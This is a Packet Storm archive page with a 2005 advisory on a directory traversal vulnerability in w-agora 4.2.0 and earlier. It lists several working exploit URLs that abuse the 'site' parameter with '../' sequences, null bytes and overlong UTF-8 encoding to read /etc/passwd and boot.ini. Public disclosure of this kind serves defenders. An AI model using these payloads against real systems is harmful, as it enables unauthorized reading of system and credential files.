exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

wagora240.txt

wagora240.txt
Posted Aug 19, 2005
Authored by matrix killer | Site h4cky0u.org

w-agora versions 4.2.0 and below suffer from directory traversal attacks.

tags | exploit
SHA-256 | 6ff8fc1aee9e01739d54249dd44bdd399d9f975e76b354c8ac3962ca9374e22b

wagora240.txt

Change Mirror Download
w-agora 4.2.0 and prior Remote Directory Travel Vulnerability

SEVERITY:
=========
High

SOFTWARE:
=========
w-agora 4.2.0

http://w-agora.net

INFO:
=====
w-agora is a web publishing and forum software. It allows you and your
visitors to store and display messages, files, share discussions and
other information on your web site.

DESCRIPTION:
============
W-agora 4.2.0 and earlier are vulnerable to a remote directory travel bug.

Here are some examples:

http://localhost/w-agora/index.php?site=../../../../../../../../boot.ini%00

http://localhost/w-agora/index.php?site=../../../../../../../../etc/passwd%00


http://localhost/w-agora/index.php?site=../../../../../../../../etc/passwd

http://localhost/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini

http://localhost/w-agora/index.php?site=../../../../../../../../boot.ini



A proof of concept video supporting this issue can be downloaded from here -

http://rapidshare.de/files/4106113/probe.rar.html

VENDOR STATUS
=============
Vendor was contacted but no response received till date.

CREDITS:
========
This vulnerability was discovered and researched by -

matrix_killer of h4cky0u Security Forums.

mail : matrix_k at abv.bg

web : http://www.h4cky0u.org

Greets to all omega-team members + krassswr,EcLiPsE and all who support us !!!


ORIGINAL:
=========
http://h4cky0u.org/viewtopic.php?t=2097

--
http://www.h4cky0u.org
(In)Security at its best...
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close